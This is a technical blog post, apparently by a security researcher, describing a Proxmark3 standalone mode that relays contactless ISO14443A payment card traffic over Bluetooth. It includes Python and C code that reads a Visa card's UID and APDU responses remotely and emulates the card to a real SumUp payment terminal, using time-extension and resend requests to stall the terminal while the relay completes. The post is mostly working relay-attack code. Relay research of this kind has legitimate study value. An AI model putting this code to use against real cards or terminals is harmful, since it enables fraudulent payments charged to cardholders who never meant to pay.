Intro: reading mode
Note: This code is in beta version, please test it and report any issues.
I had the opportunity to start playing with the new RDV4 Proxmark3 and its interesting BlueShark Bluetooth HC-06 plugin. The BlueShark gives the ability to control the Proxmark3 remotely using Bluetooth technology. Adding that RDV4 team designed a mobile application to connect it using a cellphone and have all the Proxmark3 functionalities.
During the last years, I wrote/present different topics about relays/replays, and even I designed a new Standalone mode for this Proxmark3 version. But I was wondering lately, “if we can relay data over the BlueShark device?”
Proxmark3 and BlueShark have enough capabilities to design the first 14443a relay, so I started working on the code side. Approaching the initial goal: read an ISO14443A card over Bluetooth using a Standalone mode. To do this, I had to establish a Bluetooth connection from a host to the Proxmark3. This narrow my research to worry about how to receive the commands and send the card responses back over the Bluetooth.

Following this flow, basically the Reblay Standalone mode will start in the step 2. To test this standalone mode, I designed this Python example to send commands over the Bluetooth connection to the card. The first step is to connect the device from where the connection will be established to the Proxmark3. This step is important because it will set the rfcomm port that will be used later in the Python script. After this, running the Python script and then, run the Standalone mode in the Proxmark3. By default, the Standalone mode will be in reading mode.
Python script code: analyzing the most important parts
apdu = [
[0x00, 0xA4, 0x04, 0x00, 0x0e, 0x32, 0x50, 0x41, 0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44, 0x46, 0x30, 0x31, 0x00], #PPSE
[0x00, 0xA4, 0x04, 0x00, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0x00], # Select Visa AID
[0x80, 0xA8, 0x00, 0x00, 0x02, 0x83, 0x00, 0x00], #GET PROCESSING
[0x00, 0xb2, 0x01, 0x0c, 0x00] #SFI
]
apdu is a list of commands that will be send to the Bluetooth connection.
print('Testing code: bluetooth has to be connected with the right rfcomm port!')
print('Waiting for data...')
initd = ser.read(1)
bufferlen = pd(initd)[0]
rping = ser.read(bufferlen)
ping = pd(rping)
if (len(ping) == 7):
print('UID:'),
print(toHexString(ping[:4]))
print('ATQA:'),
print(toHexString(ping[4:-1]))
print('SAK:'),
print(toHexString(ping[-1:]))
elif (len(ping) == 10):
print('UID:'),
print(toHexString(ping[:7]))
print('ATQA:'),
print(toHexString(ping[7:-1]))
print('SAK:'),
print(toHexString(ping[-1:]))
else:
print('got ping, no sure what it means: '),
print(ping)
In this part of the script, it will read the first byte of the Bluetooth package which indicates the length of the whole package: ser.read(1). To read the rest part of the package, the script uses the read() method with the length of bytes as parameter for the expected bytes: ser.read(bufferlen)
The first data transmitted by the Proxmark3 will be a special ping; all of this data will be extract from the card positioned on the Proxmark3 for the relay. This will include the UID, ATQA & SAK. These information could be very useful for emulating in the other end, in case needed.
for x in apdu:
print('Sending cmd: '),
ser.write(x)
print(toHexString(x))
lenpk = ser.read(1) #first byte is the buffer length
bufferlen = pd(lenpk)[0]
buffer = pd(ser.read(bufferlen))
print('Card Response:'),
print(toHexString(buffer))
print('--')
This for is the most important part to send and receive data over the Bluetooth connection. Initially, it will send the first command in the apdu array: ser.write(x), simulating a real card reader command. Then, it will wait for the Proxmark3 response: lenpk = ser.read(1). When the command arrives at the Proxmark3 side, it will pass the command to the card, so it can answer the command. The answer will be transmitted in the same way that the first initial package: [length] + [card answer] repeating the cycle.
At the end of sending and receiving data, the script will send a byte to close the infinity loop in the Proxmark Standalone mode:
ser.write(b'1') #tell Proxmark3 that we finish the communication
ser.close()
Proxmark3 Standalone mode side
// Get data to send a ping with UID + ATQA + SAK + \n
sak = card_a_info.sak;
uidlen = card_a_info.uidlen;
atsl = card_a_info.ats_len;
memcpy(uidc, card_a_info.uid, uidlen);
memcpy(atqa, card_a_info.atqa, 2);
memcpy(ats,card_a_info.ats, atsl);
This part of the code will prepare a special ping for the communication. Adding UID, ATQA & SAK to be used in different ways in the other end, such as, special or specific emulation.
for (;;) {
if (usart_rxdata_available()) {
lenpacket = usart_read_ng(rpacket, sizeof(rpacket));
if (lenpacket > 1) {
DbpString(_YELLOW_("[ ") "Bluetooth data:" _YELLOW_(" ]"));
Dbhexdump(lenpacket, rpacket, false);
apdulen = iso14_apdu(rpacket, (uint16_t) lenpacket, false, apdubuffer, NULL);
DbpString(_YELLOW_("[ ") "Card response:" _YELLOW_(" ]"));
Dbhexdump(apdulen - 2, apdubuffer, false);
bufferlen = apdulen - 2;
memcpy(&buffert[0], &bufferlen, 1);
memcpy(&buffert[1], apdubuffer, bufferlen);
DbpString(_YELLOW_("[ ") "Buffer:" _YELLOW_(" ]"));
Dbhexdump(bufferlen, buffert, false);
usart_writebuffer_sync(buffert, bufferlen + 1);
} else if (lenpacket == 1) {
DbpString(_YELLOW_("[ ") "Done!" _YELLOW_(" ]"));
LED_C_ON();
for (uint8_t i = 0; i < 3; i++)
SpinDelay(1000);
break;
}
}
}
After sending the ping package, the Proxmark3 will wait in an infinite for until it receives a command: if (usart_rxdata_available())
Be aware, I did not add a timeout. To finish/close the cycle, the Proxmark3 has to receive a message with a length of 1 byte: else if(lenpacket == 1){ to break the loop.
The Proxmark3 is expecting a raw APDU command to be processed it directly to the card: apdulen = iso14_apdu(rpacket, (uint16_t) lenpacket, false, apdubuffer, NULL)
Then it will construct the answer package. First adding the length and then the data:
memcpy(&buffert[0], &bufferlen, 1);
memcpy(&buffert[1], apdubuffer, bufferlen);
How it works:
Even this Python script, may be combine with another scripts or technologies, such as RFIDIot to emulate the card using the ACR122 NFC card reader as example:
Emulation mode
With the capabilities of the Proxmark3, I decided to include two modes in one. Initially when the Standalone mode starts, it will be in the reading mode. To change to emulation mode, pressing one time the Proxmark3 button will change the stage to emulation. As you imagined, the emulation mode is to obtain data over the Bluetooth and emulating it with the Proxmark3.
Note: I tested this emulation mode using a real SumUp payment terminal.
Analyzing Proxmark3 emulation mode code
if (receivedCmd[0] == ISO14443A_CMD_REQA && len == 1) { // Received a REQUEST
DbpString(_YELLOW_("+") "REQUEST Received");
p_response = &responses[RESP_INDEX_ATQA];
} else if (receivedCmd[0] == ISO14443A_CMD_HALT && len == 4) { // Received a HALT
DbpString(_YELLOW_("+") "Received a HALT");
p_response = NULL;
resp = 0;
} else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP
DbpString(_YELLOW_("+") "WAKEUP Received");
p_response = &responses[RESP_INDEX_ATQA];
resp = 0;
} else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1)
DbpString(_YELLOW_("+") "Request for UID C1");
p_response = &responses[RESP_INDEX_UIDC1];
} else if (receivedCmd[1] == 0x70 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 9) { // Received a SELECT (cascade 1)
DbpString(_YELLOW_("+") "Request for SELECT S1");
p_response = &responses[RESP_INDEX_SAKC1];
} else if (receivedCmd[0] == ISO14443A_CMD_RATS && len == 4) { // Received a RATS request
DbpString(_YELLOW_("+") "Request for RATS");
p_response = &responses[RESP_INDEX_RATS];
resp = 1;
}
To achieved this, I had to use some characteristics from my last Standalone mode msdsal. First, the Standalone method has to detect the card reader presence, following a specific order until the Proxmark3 receives the first command to be transmitted to the card. During this process, the Proxmark3 has to be in charge to control the card reader communication and simultaneously with the Bluetooth connection.
} else {
DbpString(_GREEN_("[ ") "Card reader command" _GREEN_(" ]"));
Dbhexdump(len - 2, &receivedCmd[1], false);
if ((receivedCmd[0] == 0x02 || receivedCmd[0] == 0x03) && len > 3) { // Process reader commands
if (resp == 1) {
DbpString(_YELLOW_("[ ") "New command - send it & wait for Bluetooth response!" _YELLOW_(" ]"));
prevcmd = receivedCmd[0];
bufferlen = len - 3;
memcpy(&buffert[0], &bufferlen, 1);
memcpy(&buffert[1], &receivedCmd[1], bufferlen);
resp = 2;
}
if (lenpacket > 0) {
DbpString(_YELLOW_("[ ") "Answering using Bluetooth data!" _YELLOW_(" ]"));
memcpy(&dynamic_response_info.response[1], rpacket, lenpacket);
dynamic_response_info.response[0] = receivedCmd[0];
dynamic_response_info.response_n = lenpacket + 1;
lenpacket = 0;
resp = 1;
} else {
usart_writebuffer_sync(buffert, bufferlen + 1);
p_response = NULL;
}
}
}
The main challenge was to avoid blocking any of the Proxmark3 processes. If the emulation mode focus only in the Bluetooth connection, it will miss card reader commands, or if the Proxmark3 focus on the card reader, it could miss Bluetooth packages. So, the code implements some variables to keep track of statuses. For example, the variable resp indicates the response card status. If the resp = 1 means that the RATS was already transmitted to the card reader. Meaning that the next data from the reader will be a command to the card, or the card already responded, and its data is at the Bluetooth buffer to be processed it.
bufferlen = len – 3, why minus 3? basically, 2 bytes from CRC and 1 byte for the type of card reader command. This helps to only send the raw APDU over the Bluetooth. Any byte that is not necessary, the mode process tries to avoid it to decrease the latency in the communication. if (lenpacket > 0) indicates that the Proxmark3 received some data over Bluetooth, and it is ready to be send it to the card reader.
} else if ((receivedCmd[0] == 0xb2 || receivedCmd[0] == 0xb3) && len == 3) { //NACK - Request more time WTX
DbpString(_YELLOW_("!!") "NACK - time extension request?");
if (resp == 2 && lenpacket == 0) {
DbpString(_YELLOW_("!!") "Requesting more time - WTX");
dynamic_response_info.response_n = 2;
dynamic_response_info.response[0] = 0xf2;
dynamic_response_info.response[1] = 0x0b; // Requesting the maximum amount of time
} else if (lenpacket == 0) {
DbpString(_YELLOW_("!!") "NACK - ACK - Resend last command!"); // To burn some time as well
dynamic_response_info.response[0] = 0xa3;
dynamic_response_info.response_n = 1;
} else {
DbpString(_YELLOW_("!!") "Avoiding request - Bluetooth data already in memory!!");
}
}
Even when the Proxmark3 has to be aware of the Bluetooth data and card reader commands simultaneously, it was another challenge which I was worry about. How to keep the connection alive between the card reader and the Proxmark3 during the relay… To do this, when the SumUP card reader sent a NACK command, the Proxmark3 has a toolset to respond. If the Proxmark3 is waiting for the card answer over the Bluetooth, and the card reader send a NACK command, the Proxmark3 will request more time(WTX) to respond, in this case the maximum is 0x0b. If that is not enough, Proxmark3 could request the reader to send the last command again: 0xa3, trying to burn more time, critical for Bluetooth relays.
I already added a Python script to simulate card answers(Visa MSD card) to test the emulation mode. The Python script is very similar to the first script relating how it handles the data, but in this case simulating a card answers instead of card reader commands.
Simulating mode in action:
Enjoy!